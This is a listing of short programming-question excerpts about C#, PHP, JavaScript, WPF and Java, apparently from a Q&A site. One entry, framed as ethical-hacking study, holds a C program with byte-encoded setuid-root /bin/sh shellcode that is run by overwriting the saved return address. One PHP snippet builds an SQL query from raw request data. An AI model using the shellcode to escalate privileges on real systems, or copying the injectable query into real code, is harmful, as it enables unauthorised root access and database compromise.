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  • Why This Maintainability Index Increase?

    - by Timothy
    I would be appreciative if someone could explain to me the difference between the following two pieces of code in terms of Visual Studio's Code Metrics rules. Why does the Maintainability Index increase slightly if I don't encapsulate everything within using ( )? Sample 1 (MI score of 71) public static String Sha1(String plainText) { using (SHA1Managed sha1 = new SHA1Managed()) { Byte[] text = Encoding.Unicode.GetBytes(plainText); Byte[] hashBytes = sha1.ComputeHash(text); return Convert.ToBase64String(hashBytes); } } Sample 2 (MI score of 73) public static String Sha1(String plainText) { Byte[] text, hashBytes; using (SHA1Managed sha1 = new SHA1Managed()) { text = Encoding.Unicode.GetBytes(plainText); hashBytes = sha1.ComputeHash(text); } return Convert.ToBase64String(hashBytes); } I understand metrics are meaningless outside of a broader context and understanding, and programmers should exercise discretion. While I could boost the score up to 76 with return Convert.ToBase64String(sha1.ComputeHash(Encoding.Unicode.GetBytes(plainText))), I shouldn't. I would clearly be just playing with numbers and it isn't truly any more readable or maintainable at that point. I am curious though as to what the logic might be behind the increase in this case. It's obviously not line-count.

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  • How do i refactor this code by using Action<t> or Func<t> delegates

    - by user330612
    I have a sample program, which needs to execute 3 methods in a particular order. And after executing each method, should do error handling. Now i did this in a normal fashion, w/o using delegates like this. class Program { public static void Main() { MyTest(); } private static bool MyTest() { bool result = true; int m = 2; int temp = 0; try { temp = Function1(m); } catch (Exception e) { Console.WriteLine("Caught exception for function1" + e.Message); result = false; } try { Function2(temp); } catch (Exception e) { Console.WriteLine("Caught exception for function2" + e.Message); result = false; } try { Function3(temp); } catch (Exception e) { Console.WriteLine("Caught exception for function3" + e.Message); result = false; } return result; } public static int Function1(int x) { Console.WriteLine("Sum is calculated"); return x + x; } public static int Function2(int x) { Console.WriteLine("Difference is calculated "); return (x - x); } public static int Function3(int x) { return x * x; } } As you can see, this code looks ugly w/ so many try catch loops, which are all doing the same thing...so i decided that i can use delegates to refactor this code so that Try Catch can be all shoved into one method so that it looks neat. I was looking at some examples online and couldnt figure our if i shud use Action or Func delegates for this. Both look similar but im unable to get a clear idea how to implement this. Any help is gr8ly appreciated. I'm using .NET 4.0, so im allowed to use anonymous methods n lambda expressions also for this Thanks

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  • Error in asp.net c# code (mysql database connection)

    - by Ishan
    My code is to update a record if it already exists in database else insert as a new record. My code is as follows: protected void Button3_Click(object sender, EventArgs e) { OdbcConnection MyConnection = new OdbcConnection("Driver={MySQL ODBC 3.51 Driver};Server=localhost;Database=testcase;User=root;Password=root;Option=3;"); MyConnection.Open(); String MyString = "select fil_no,orderdate from temp_save where fil_no=? and orderdate=?"; OdbcCommand MyCmd = new OdbcCommand(MyString, MyConnection); MyCmd.Parameters.AddWithValue("", HiddenField4.Value); MyCmd.Parameters.AddWithValue("", TextBox3.Text); using (OdbcDataReader MyReader4 = MyCmd.ExecuteReader()) { //** if (MyReader4.Read()) { String MyString1 = "UPDATE temp_save SET order=? where fil_no=? AND orderdate=?"; OdbcCommand MyCmd1 = new OdbcCommand(MyString1, MyConnection); MyCmd1.Parameters.AddWithValue("", Editor1.Content.ToString()); MyCmd1.Parameters.AddWithValue("", HiddenField1.Value); MyCmd1.Parameters.AddWithValue("", TextBox3.Text); MyCmd1.ExecuteNonQuery(); } else { // set the SQL string String strSQL = "INSERT INTO temp_save (fil_no,order,orderdate) " + "VALUES (?,?,?)"; // Create the Command and set its properties OdbcCommand objCmd = new OdbcCommand(strSQL, MyConnection); objCmd.Parameters.AddWithValue("", HiddenField4.Value); objCmd.Parameters.AddWithValue("", Editor1.Content.ToString()); objCmd.Parameters.AddWithValue("", TextBox3.Text); // execute the command objCmd.ExecuteNonQuery(); } } } I am getting the error as: ERROR [42000] [MySQL][ODBC 3.51 Driver][mysqld-5.1.51-community]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order,orderdate) VALUES ('04050040272009','&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&' at line 1 The datatype for fields in table temp_save are: fil_no-->INT(15)( to store a 15 digit number) order-->LONGTEXT(to store contents from HTMLEditor(ajax control)) orderdate-->DATE(to store date) Please help me to resolve my error.

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  • Expression Blend doesn't recognize comand objects declared in code behind file

    - by Brian Ensink
    I have a WPF UserControl. The code behind file declares some RoutedUICommand objects which are referenced in the XAML. The application builds and runs just fine. However Expression Blend 3 cannot load the XAML in the designer and gives errors like this one: The member "ResetCameraComand" is not recognized or accessible. The class and the member are both public. Building and rebuilding the project in Blend and restarting Blend hasn't helped. Any ideas what the problem is? Here are fragments of my XAML ... <UserControl x:Class="CAP.Visual.CameraAndLightingControl" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:CAP.Visual;assembly=VisualApp" Height="100" Width="700"> <UserControl.CommandBindings> <CommandBinding Command="local:CameraAndLightingControl.ResetCameraCommand" Executed="ResetCamera_Executed" CanExecute="ResetCamera_CanExecute"/> </UserControl.CommandBindings> .... ... and the code behind C# namespace CAP.Visual { public partial class CameraAndLightingControl : UserControl { public readonly static RoutedUICommand ResetCameraCommand; static CameraAndLightingControl() { ResetCameraCommand = new RoutedUICommand("Reset Camera", "ResetCamera", typeof(CameraAndLightingControl)); }

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  • Code refactoring homework?

    - by Hira
    This is the code that I have to refactor for my homework: if (state == TEXAS) { rate = TX_RATE; amt = base * TX_RATE; calc = 2 * basis(amt) + extra(amt) * 1.05; } else if ((state == OHIO) || (state == MAINE)) { rate = (state == OHIO) ? OH_RATE : MN_RATE; amt = base * rate; calc = 2 * basis(amt) + extra(amt) * 1.05; if (state == OHIO) points = 2; } else { rate = 1; amt = base; calc = 2 * basis(amt) + extra(amt) * 1.05; } I have done something like this if (state == TEXAS) { rate = TX_RATE; calculation(rate); } else if ((state == OHIO) || (state == MAINE)) { rate = (state == OHIO) ? OH_RATE : MN_RATE; calculation(rate); if (state == OHIO) points = 2; } else { rate = 1; calculation(rate); } function calculation(rate) { amt = base * rate; calc = 2 * basis(amt) + extra(amt) * 1.05; } How could I have done better? Edit i have done code edit amt = base * rate;

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  • mcrypt_decrypt return strange code

    - by Jin Yong
    I tried to encrypt an array then decrypt it back to string by calling a function, it's seem return the correct value if I does all encrypt and decrypt at once time in the function, however, if I return the encrypt value, then call the function again to decrypt it will return me some strange code. Exmaple: public main() { $dataArray = array("one"=>1, "two"=>2, "three"=>3); $a = $this->encryptDecryptInfo(json_encode($dataArray),$this->key); var_dump($a); } public function encryptDecryptInfo($text,$key) { $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, $text= base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_CFB, $iv)); return mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, base64_decode($text), MCRYPT_MODE_CFB, $iv); } This will return me the correct value which is string(27) "{"one":1,"two":2,"three":3}" Exmaple 2: public main() { $dataArray = array("one"=>1, "two"=>2, "three"=>3); $a = $this->encryptDecryptInfo(json_encode($dataArray),$this->key,"encrypt"); $b = $this->encryptDecryptInfo($a,$this->key,"decrypt"); var_dump($b); } public function encryptDecryptInfo($text,$key,$type) { $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CFB), MCRYPT_RAND); if($type == "encrypt") return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_CFB, $iv)); else return mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, base64_decode($text), MCRYPT_MODE_CFB, $iv); } However if I do my code in this way, it will return me strange value which is like this string(27) "?ÔérôŸY éXgíœÈÐN*é౜CµÖ" .Deos anyone know why this is happen?

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  • jquery/javascript - image resize to fit screen

    - by alberto
    not an expert programmer. i created this code to resize photos/images to fit the screen, considering the space available for the nav bar. the script happens on load of image, and on click of the navigation. is it a good piece of code, or could it be done better? any browser issues? in the html: $(document).ready(function(){ $("#photo").load(function(){ resize(); }); $(".navigation img").click(function(){ var imgPath = $(this).attr("src"); $("#photo").attr({ src: imgPath }); resize(); return false; }); }); while this is my function resize: resize = function() { var borderVt=150; //value based on css style. bottom bar + padding of photoContain var borderHz=40; //value based on css style photoContain padding $("#photo").css("width", "auto").css("height", "auto"); // Remove existing CSS $("#photo").removeAttr("width").removeAttr("height"); // Remove HTML attributes var origSizeW = $("#photo").width(); var origSizeH = $("#photo").height(); var ratioVt=(origSizeW/origSizeH); var ratioHz=(origSizeH/origSizeW); var winW = $(window).width(); var winH = $(window).height(); var screenSizeW=Math.round(winW-borderHz); var screenSizeH=Math.round(winH-borderVt); if (origSizeW>=origSizeH){ var newHeight = Math.round(screenSizeW*ratioHz); if (newHeight <= screenSizeH){ $("#photo").css("width", screenSizeW); // Set new width $("#photo").css("height", newHeight); } else{ $("#photo").css("height", screenSizeH); } } else{ $("#photo").css("height", screenSizeH); // Set new height } };

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  • Perform Grouping of Resultsets in Code, not on Database Level

    - by NinjaBomb
    Stackoverflowers, I have a resultset from a SQL query in the form of: Category Column2 Column3 A 2 3.50 A 3 2 B 3 2 B 1 5 ... I need to group the resultset based on the Category column and sum the values for Column2 and Column3. I have to do it in code because I cannot perform the grouping in the SQL query that gets the data due to the complexity of the query (long story). This grouped data will then be displayed in a table. I have it working for specific set of values in the Category column, but I would like a solution that would handle any possible values that appear in the Category column. I know there has to be a straightforward, efficient way to do it but I cannot wrap my head around it right now. How would you accomplish it? EDIT I have attempted to group the result in SQL using the exact same grouping query suggested by Thomas Levesque and both times our entire RDBMS crashed trying to process the query. I was under the impression that Linq was not available until .NET 3.5. This is a .NET 2.0 web application so I did not think it was an option. Am I wrong in thinking that? EDIT Starting a bounty because I believe this would be a good technique to have in the toolbox to use no matter where the different resultsets are coming from. I believe knowing the most concise way to group any 2 somewhat similar sets of data in code (without .NET LINQ) would be beneficial to more people than just me.

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  • SendInput scan code on Windows 7 x64

    - by Stanomatic
    I am working with a WPF application sending keys to a game. I opened spy++ to observer s as a key press on the keyboard. I then press my button on the application and I noticed a different scan code in spy++ messages. Could this be somthing to do with Windows 7 64bit? Partial listing: var down = new INPUT(); down.Type = (UInt32)InputType.KEYBOARD; down.Data.Keyboard = new KEYBDINPUT(); down.Data.Keyboard.Vk = (UInt16)keyCode; down.Data.Keyboard.Scan = 0; down.Data.Keyboard.Flags = 0; down.Data.Keyboard.Time = 0; down.Data.Keyboard.ExtraInfo = IntPtr.Zero; //down.Data.Keyboard.ExtraInfo = GetMessageExtraInfo(); var up = new INPUT(); up.Type = (UInt32)InputType.KEYBOARD; up.Data.Keyboard = new KEYBDINPUT(); up.Data.Keyboard.Vk = (UInt16)keyCode; up.Data.Keyboard.Scan = 0; up.Data.Keyboard.Flags = (UInt32)KeyboardFlag.KEYUP; up.Data.Keyboard.Time = 0; up.Data.Keyboard.ExtraInfo = IntPtr.Zero; //up.Data.Keyboard.ExtraInfo = GetMessageExtraInfo(); INPUT[] inputList = new INPUT[2]; inputList[0] = down; inputList[1] = up; var numberOfSuccessfulSimulatedInputs = SendInput(2, inputList, Marshal.SizeOf(typeof(INPUT))); The image shows when I use my code to send a key I receive ScanCode:00fExtended from spy++ message output. When I actually press the same key I receive ScanCode:1FfExtended. Everything else is identical.

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  • Creating/Maintaining a large project-agnostic code library

    - by bufferz
    In order to reduce repetition and streamline testing/debugging, I'm trying to find the best way to develop a group of libraries that many projects can utilize. I'd like to keep individual executable relatively small, and have shared libraries for math, database, collections, graphics, etc. that were previously scattered among several projects and in many cases duplicated (bad!). This library is to be in an SVN repo and several programmers will be working on it. This library will be in constant development along with the executables that utilize it. For example, I want a code file in ProjectA to look something like the following: using MyCompany.Math.2D; //static 2D math methods using MyCompany.Math.3D; //static #D math methods using MyCompany.Comms.SQL; //static methods for doing simple SQLDB I/O using MyCompany.Graphics.BitmapOperations; //static methods that play with bitmaps So in my ProjectA solution file in VisualStudio, in order to develop/debug the MyCompany library I have to add several projects (Math, Comms, Graphics). Things get pretty cluttered and Solution files get out of date quickly between programmer SVN commits. I'm just looking for a high level approach to maintaining a large, shared code base in an SCN repository. I am fully willing to radically redesign my approach. I'm looking for that warm fuzzy feeling you get when you're design approach is spot on and development is fluid and natural. And ideas? Thanks!!

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  • PHP fails silently when php-code is within html tag

    - by Michal M
    PROBLEM UPDATED, READ BELOW For some reason my CI fails silently when loading view. Loading view is simply called from controller $this->load->view('templates/default.php'); Now. There are some functions in the loaded view that are not defined unless a proper helper is loaded as well. Normally, php would throw an error, but instead it fails silently here. I have no idea why. The template gets outputted till the line containing the undefined function. It took me long time to realise where my script is failing. Here's my setup: Windows 7 Ultimate Apache 2.2.15 PHP 5.3.2 with following error reporting settings: display_errors = On display_startup_errors = On error_reporting = E_ALL | E_STRICT CodeIgniter 1.7.2 Any ideas why would that be? UPDATE After further debugging, it turned out that PHP fails to report any errors when php code is inline with HTML and within the HTML tag. Now this is bizarre. This returns Fatal Error: <p><?php echo $bogus(); ?></p> This doesn't and fails silently: <p class="<?php echo $bogus(); ?>">paragraph</p> Why? :O UPDATE 2 Further investigation showed that if an error_log in PHP is specified, the errors are in fact reported in that file, but still not in the browser... Again, why? UPDATE 3 Actually my code should be slightly different. Checked another PHP installation on completely different machine and it confirmed the PHP bug. Reported here: http://bugs.php.net/bug.php?id=52040

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  • Where is the error in this code.

    - by basit74
    Hello, Here is my code snippt. But the code is breaking after inner for loop. But getting no error message. Any idea? Thanks. var lastnames = document.getElementsByClassName('box_nachname'); var firstnames = document.getElementsByClassName('box_vorname'); var teilnehmer = document.getElementsByClassName('select'); observers = []; // iterate over nachname array. for (var i = 0; i < lastnames.length; i++) { // Create an observer instance. observers[i] = new Observer(); // Subscribe oberser object. for(idx in teilnehmer) { if(teilnehmer[idx].id.split("_")[0].toLowerCase() !== "zl") { var anynum = function(element) { observers[i].subscribe(element, updateTeilnehmerSelectbox); }(teilnehmer[idx]); } } //on blur the Observer fire the updated info to all the subscribers. var anynumNachname = function(j, element, value, observer) { cic.addEvent(lastnames[j], 'blur', observer.fire(element, value)); } (i, lastnames[i], lastnames[i].value, observers[i]); cic.addEvent(firstnames[i], 'blur', function(element, value, observer) {observer.fire(element, value)}(lastnames[i], lastnames[i].value, observers[i])); }

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  • Binding properties in code behind

    - by drasto
    I have WPF application and a window in it. Lets have something like this in my xml: <Label Name="TitleLabel" Content="Some title" \> <Label Name="BottomLabel" Content="{Binding ElementName=TitleLabel Path=Content"> Lets say I don't cannot use xml for creation of BottomLabel and TitleLabel. So I have to create the BottomLabel as a property in my "Code behind". How do I specify the same binding for Content property of Bottom label in my code behind ? Is it possible at all ? So I would have something like this: public Label TitleLabel {get; private set;} public Label BottomLabel {get; private set;} public MyClass(){ TitleLabel = new Label(); TitleLabel.Content = "Some title"; BottomLabel = new Label(); BottomLabel.Content = // ?? what should be here ? How do I specify the binding // that binds BottomLabel.COntent to TitleLabel.Content? } What can I write instead of the comment ? Thank you for ansvers.

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  • Method that does conditional return of method calling it?

    - by Mattias Konradsson
    Ok this might be a bit of hack but bear with me :) The background is that i'm tired of methods that that some if-statement to that messes up indention for the whole method, like: public SomeClass DoStuff(string inputStr) { SomeClass result =null; if (IsOpenFilter(inputStr)) { .... } return result; } So I was thinking , wouldn't it be neat if I could do something like this instead: public SomeClass DoStuff(string inputStr) { Require(IsOpenFilter(inputStr),null); .... return result; } The idea is that if the statement does not evaluates to true it would return null. If there wasn't a return type for the method it would simply be: Require(IsOpenFilter(inputStr)); I realize that this is kinda overlapping with code contracts but these would be more like "conditional" or "soft" contracts evaluated at runtime rather than compile time. So I guess there's two questions, can this be done somehow? I'm stumped on how to do a conditional return from calling a method. The other question is, is this a good idea? It's a bit weird to monkeypatch the language like this but I'd rather like the way the code reads. I would be even cleaner if it could be put into an attribute above the method: [Require(IsOpenFilter(inputStr))]

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  • Count the prime numbers from 2 to 100 with simpler code than this

    - by RufioLJ
    It has to be with just functions, variables, loops, etc (Basic stuff). I'm having trouble coming up with the code from scratch from what I've I learned so far(Should be able to do it). Makes me really mad :/. If you could give me step by step to make sure I understand I'd really really appreciated. Thanks a bunch in advanced. How could I get the same result with a simpler code than this one: var primes=4; for (var counter = 2; counter <= 100; counter = counter + 1) { var isPrime = 0; if(isPrime === 0){ if(counter === 2){console.log(counter);} else if(counter === 3){console.log(counter);} else if(counter === 5){console.log(counter);} else if(counter === 7){console.log(counter);} else if(counter % 2 === 0){isPrime=0;} else if(counter % 3 === 0){isPrime=0;} else if(counter % 5 === 0){isPrime=0;} else if(counter % 7 === 0){isPrime=0;} else { console.log(counter); primes = primes + 1; } } } console.log("Counted: "+primes+" primes");

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  • SubSonic generated code and always filtering records

    - by cmroanirgo
    Hi, I have a table called "Users" that has a column called "deleted", a boolean indicating that the user is "Deleted" from the system (without actually deleting it, of course). I also have a lot of tables that have a FK to the Users.user_id column. Subsonic generates (very nicely) the code for all the foreign keys in a similar manner: public IQueryable<person> user { get { var repo=user.GetRepo(); return from items in repo.GetAll() where items.user_id == _user_id select items; } } Whilst this is good and all, is there a way to generate the code in such a way to always filter out the "Deleted" users too? In the office here, the only suggestion we can think of is to use a partial class and extend it. This is obviously a pain when there are lots and lots of classes using the User table, not to mention the fact that it's easy to inadvertently use the wrong property (User vs ActiveUser in this example): public IQueryable<User> ActiveUser { get { var repo=User.GetRepo(); return from items in repo.GetAll() where items.user_id == _user_id and items.deleted == 0 select items; } } Any ideas?

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  • Difficulty with projectile's tracking code

    - by RCIX
    I wrote some code for a projectile class in my game that makes it track targets if it can: if (_target != null && !_target.IsDead) { Vector2 currentDirectionVector = this.Body.LinearVelocity; currentDirectionVector.Normalize(); float currentDirection = (float)Math.Atan2(currentDirectionVector.Y, currentDirectionVector.X); Vector2 targetDirectionVector = this._target.Position - this.Position; targetDirectionVector.Normalize(); float targetDirection = (float)Math.Atan2(targetDirectionVector.Y, targetDirectionVector.X); float targetDirectionDelta = targetDirection - currentDirection; if (MathFunctions.IsInRange(targetDirectionDelta, -(Info.TrackingRate * deltaTime), Info.TrackingRate * deltaTime)) { Body.LinearVelocity = targetDirectionVector * Info.FiringVelocity; } else if (targetDirectionDelta > 0) { float newDirection = currentDirection + Info.TrackingRate * deltaTime; Body.LinearVelocity = new Vector2( (float)Math.Cos(newDirection), (float)Math.Sin(newDirection)) * Info.FiringVelocity; } else if (targetDirectionDelta < 0) { float newDirection = currentDirection - Info.TrackingRate * deltaTime; Body.LinearVelocity = new Vector2( (float)Math.Cos(newDirection), (float)Math.Sin(newDirection)) * Info.FiringVelocity; } } This works sometimes, but depending on the relative angle to the target projectiles turn away from the target instead. I'm stumped; can someone point out the flaw in my code?

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  • I have this code .... Ethical Hacking

    - by kmitnick
    hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code. //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } I give this the super user privileges, with chmod u+s shellcode as a super user, then go back to normal user with su - normal_user but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

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  • Benefits of migrating my work to a new web development framework?

    - by John
    When I first started programming with PHP, I was ignorant of other php frameworks (like code igniter, cake php, etc...). So I fell into the trap of re-inventing wheels, which had the benefit of being "fun" and "educational". Overtime, I discovered other open source products that I found useful, like smarty templating engine, jquery library, tcpdf library, fdf etc...so I started bundling these technologies along with things I've built over the years into a LAMP development framework to make life easier for myself. This pass year, I've been having fun developing on the code igniter framework. It does many of the things I do in my framework. Coding in CI feels natural because the MVC and ORM feels similar to the MVC and ORM of my framework. So now I'm contemplating migrating a lot of the plugins in my framework over to CI. The pros and cons I can think of for such a project are: Pros: benefit from the vast community of CI developers lots of other developers will be familiar with it better documentation Cons: I've built a lot of useful plugins against my own framework, and it will take a lot of time to move even just the essential ones at the moment, I still, work faster against my own framework than CI, just because I'm more familiar with it even if I did migrate to CI, there will always be newer and better frameworks in the near future, and i'll be contemplating this scenario again So my question is the following: perhaps I should leave my old framework as is, and for each new project I receive, I make a decision on whether the requirements are best served by developing with CI or my own framework. Is this the right approach?

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  • How to get JSON code into MYSQL database?

    - by the_boy_za
    I've created this form with a jQuery autocomplete function. The selected brand from the autocomplete list needs to get sent to a PHP file using $.ajax function. My code doesn't seem to work but i can't find the error. I don't know why the data isn't getting inserted into MYSQL database. Here is my code: JQUERY: $(document).ready(function() { $("#autocomplete").autocomplete({ minLength: 2 }); $("#autocomplete").autocomplete({ source: ["Adidas", "Airforce", "Alpha Industries", "Asics", "Bikkemberg", "Birkenstock", "Bjorn Borg", "Brunotti", "Calvin Klein", "Cars Jeans", "Chanel", "Chasin", "Diesel", "Dior", "DKNY", "Dolce & Gabbana"] }); $("#add-brand").click(function() { var merk = $("#autocomplete").val(); $("#selected-brands").append(" <a class=\"deletemerk\" href=\"#\">" + merk + "</a>"); //Add your parameters here var param = JSON.stringify({ Brand: merk }); $.ajax({ type: "POST", async: true, url: "scripttohandlejson.php", contentType: "application/json", data: param, dataType: "json", success: function (good){ //handle success alert(good) }, failure: function (bad){ //handle any errors alert(bad) } }); return false; }); }); PHP FILE: scripttohandlejson.php <?PHP $getcontent = json_decode($json, true); $getcontent->{'Brand'}; $vraag ="INSERT INTO kijken (merk) VALUES ='$getcontent' "; $voerin = mysql_query($vraag) or die("couldnt put into db"); <?

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  • FILE* issue PPU side code

    - by Cristina
    We are working on a homework on CELL programming for college and their feedback response to our questions is kinda slow, thought i can get some faster answers here. I have a PPU side code which tries to open a file passed down through char* argv[], however this doesn't work it cannot make the assignment of the pointer, i get a NULL. Now my first idea was that the file isn't in the correct directory and i copied in every possible and logical place, my second idea is that maybe the PPU wants this pointer in its LS area, but i can't deduce if that's the bug or not. So... My question is what am i doing wrong? I am working with a Fedora 7 SDK Cell, with Eclipse as an IDE. Maybe my argument setup is wrong tho he gets the name of the file correctly. Code on request: images_t *read_bin_data(char *name) { FILE *file; images_t *img; uint32_t *buffer; uint8_t buf; unsigned long fileLen; unsigned long i; //Open file file = (FILE*)malloc(sizeof(FILE)); file = fopen(name, "rb"); printf("[Debug]Opening file %s\n",name); if (!file) { fprintf(stderr, "Unable to open file %s", name); return NULL; } //....... } Main launch: int main(int argc,char* argv[]) { int i,img_width; int modif_this[4] __attribute__ ((aligned(16))) = {1,2,3,4}; images_t *faces, *nonfaces; spe_context_ptr_t ctxs[SPU_THREADS]; pthread_t threads[SPU_THREADS]; thread_arg_t arg[SPU_THREADS]; //intializare img_width img_width = atoi(argv[1]); printf("[Debug]Img size is %i\n",img_width); faces = read_bin_data(argv[3]); //....... } Thanks for the help.

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  • Some Async Socket Code - Help with Garbage Collection?

    - by divinci
    Hi all, I think this question is really about my understanding of Garbage collection and variable references. But I will go ahead and throw out some code for you to look at. // Please note do not use this code for async sockets, just to highlight my question // SocketTransport // This is a simple wrapper class that is used as the 'state' object // when performing Async Socket Reads/Writes public class SocketTransport { public Socket Socket; public byte[] Buffer; public SocketTransport(Socket socket, byte[] buffer) { this.Socket = socket; this.Buffer = buffer; } } // Entry point - creates a SocketTransport, then passes it as the state // object when Asyncly reading from the socket. public void ReadOne(Socket socket) { SocketTransport socketTransport_One = new SocketTransport(socket, new byte[10]); socketTransport_One.Socket.BeginRecieve ( socketTransport_One.Buffer, // Buffer to store data 0, // Buffer offset 10, // Read Length SocketFlags.None // SocketFlags new AsyncCallback(OnReadOne), // Callback when BeginRead completes socketTransport_One // 'state' object to pass to Callback. ); } public void OnReadOne(IAsyncResult ar) { SocketTransport socketTransport_One = ar.asyncState as SocketTransport; ProcessReadOneBuffer(socketTransport_One.Buffer); // Do processing // New Read // Create another! SocketTransport (what happens to first one?) SocketTransport socketTransport_Two = new SocketTransport(socket, new byte[10]); socketTransport_Two.Socket.BeginRecieve ( socketTransport_One.Buffer, 0, 10, SocketFlags.None new AsyncCallback(OnReadTwo), socketTransport_Two ); } public void OnReadTwo(IAsyncResult ar) { SocketTransport socketTransport_Two = ar.asyncState as SocketTransport; .............. So my question is: The first SocketTransport to be created (socketTransport_One) has a strong reference to a Socket object (lets call is ~SocketA~). Once the async read is completed, a new SocketTransport object is created (socketTransport_Two) also with a strong reference to ~SocketA~. Q1. Will socketTransport_One be collected by the garbage collector when method OnReadOne exits? Even though it still contains a strong reference to ~SocketA~ Thanks all!

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  • Why Does This Maintainability Index Increase?

    - by Timothy
    I would be appreciative if someone could explain to me the difference between the following two pieces of code in terms of Visual Studio's Code Metrics rules. Why does the Maintainability Index increase slightly if I don't encapsulate everything within using ( )? Sample 1 (MI score of 71) public static String Sha1(String plainText) { using (SHA1Managed sha1 = new SHA1Managed()) { Byte[] text = Encoding.Unicode.GetBytes(plainText); Byte[] hashBytes = sha1.ComputeHash(text); return Convert.ToBase64String(hashBytes); } } Sample 2 (MI score of 73) public static String Sha1(String plainText) { Byte[] text, hashBytes; using (SHA1Managed sha1 = new SHA1Managed()) { text = Encoding.Unicode.GetBytes(plainText); hashBytes = sha1.ComputeHash(text); } return Convert.ToBase64String(hashBytes); } I understand metrics are meaningless outside of a broader context and understanding, and programmers should exercise discretion. While I could boost the score up to 76 with return Convert.ToBase64String(sha1.ComputeHash(Encoding.Unicode.GetBytes(plainText))), I shouldn't. I would clearly be just playing with numbers and it isn't truly any more readable or maintainable at that point. I am curious though as to what the logic might be behind the increase in this case. It's obviously not line-count.

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  • Java: easiest way to package both Java 1.5 and 1.6 code

    - by WizardOfOdds
    I want to package a piece of code that absolutely must run on Java 1.5. There's one part of the code where the program can be "enhanced" if the VM is an 1.6 VM. Basically it's this method: private long[] findDeadlockedThreads() { // JDK 1.5 only supports the findMonitorDeadlockedThreads() // method, so you need to comment out the following three lines if (mbean.isSynchronizerUsageSupported()) return mbean.findDeadlockedThreads(); else return mbean.findMonitorDeadlockedThreads(); } What would be easiest way to have this compile on 1.5 and yet do the 1.6 method calls when on 1.6 ? In the past I've done something similar by compiling a unique 1.6 class that I would package with my app and instantiate using a ClassLoader when on 1.6 (because an 1.6 JVM is perfectly fine mixing 0x32 and 0x31 classes), but I think it's a bit overkill (and a bit painful because during the build process you have to build both 0x31 and 0x32 .class files). How should I go if I wanted to compile the above method on 1.5? Maybe using reflection but then how (I'm not familiar at all with reflection) Note: if you're curious, the above method comes from this article: http://www.javaspecialists.eu/archive/Issue130.html (but I don't want to "comment the three lines" like in the article, I want this to compile and run on both 1.5 and 1.6)

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  • Awkward looking uses of Contract.ValueAtReturn()

    - by devoured elysium
    I am designing a method that will add an element to an internal list. The structure of the class is something along the lines of: class MyCustomerDatabase { private IList<Customer> _customers = new List<Customer>(); public int NumberOfCustomers { get { return _customers; } } public void AddCustomer(Customer customer) { _customers.Add(customer); } } Now, I was thinking of adding a Contract.Ensures() about the size of the _customers growing by 1 with this call. The problem is that I end up with some weird looking code: public void AddCustomer(Customer customer) { int numberOfCustomersAtReturn; Contract.Ensures(Contract.ValueAtReturn<int>(out numberOfCustomersAtReturn) == Contract.OldValue<int>(NumberOfCustomers) + 1); _customers.Add(customer); numberOfCustomersAtReturn = NumberOfCustomers; } The main problem is that properties are in fact methods, so you can't just reference them direcly when using Contract.ValueAtReturn() as its only parameter accepts variables as out. The situation gets even odder if I want to achieve the same but this time with a method that should return a value: public int MyReturningMethod() { ... return abc(); //abc will add by one the number of customers in list } //gets converted to public int MyReturningMethod() { int numberOfCustomersAtReturn; Contract.Ensures(Contract.ValueAtReturn<int>(out numberOfCustomersAtReturn) == Contract.OldValue<int>(NumberOfCustomers) + 1); int returnValue = abc(); numberOfCustomersAtReturn = NumberOfCustomers; return returnValue; } This seems pretty clumsy :( Code Contracts should aim to get things clearer and this seems right the opposite. Am I doing something wrong? Thanks

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